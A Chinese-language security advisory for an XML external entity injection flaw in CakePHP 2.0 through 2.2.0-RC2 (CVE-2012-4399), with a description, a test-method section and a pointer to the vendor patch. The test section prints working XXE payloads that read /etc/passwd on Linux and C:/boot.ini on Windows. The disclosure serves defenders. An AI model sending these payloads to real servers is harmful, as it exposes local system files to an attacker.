CakePHP XML外部实体注入漏洞

CakePHP XML外部实体注入漏洞

发布日期：2012-07-16
更新日期：2012-10-17

受影响系统：
CakePHP CakePHP 2.0 - 2.2.0-RC2
CakePHP CakePHP
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54474
CVE ID: CVE-2012-4399

CakePHP是一个自由开源的PHP快速开发框架。

CakePHP 2.0 - 2.2.0-RC2存在XML外部实体注入漏洞，攻击者可利用此漏洞获取本地文件敏感信息。

<*来源：Pawel h0wl Wylecial
  *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>

建议：
--------------------------------------------------------------------------------
厂商补丁：

CakePHP
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://cakephp.org/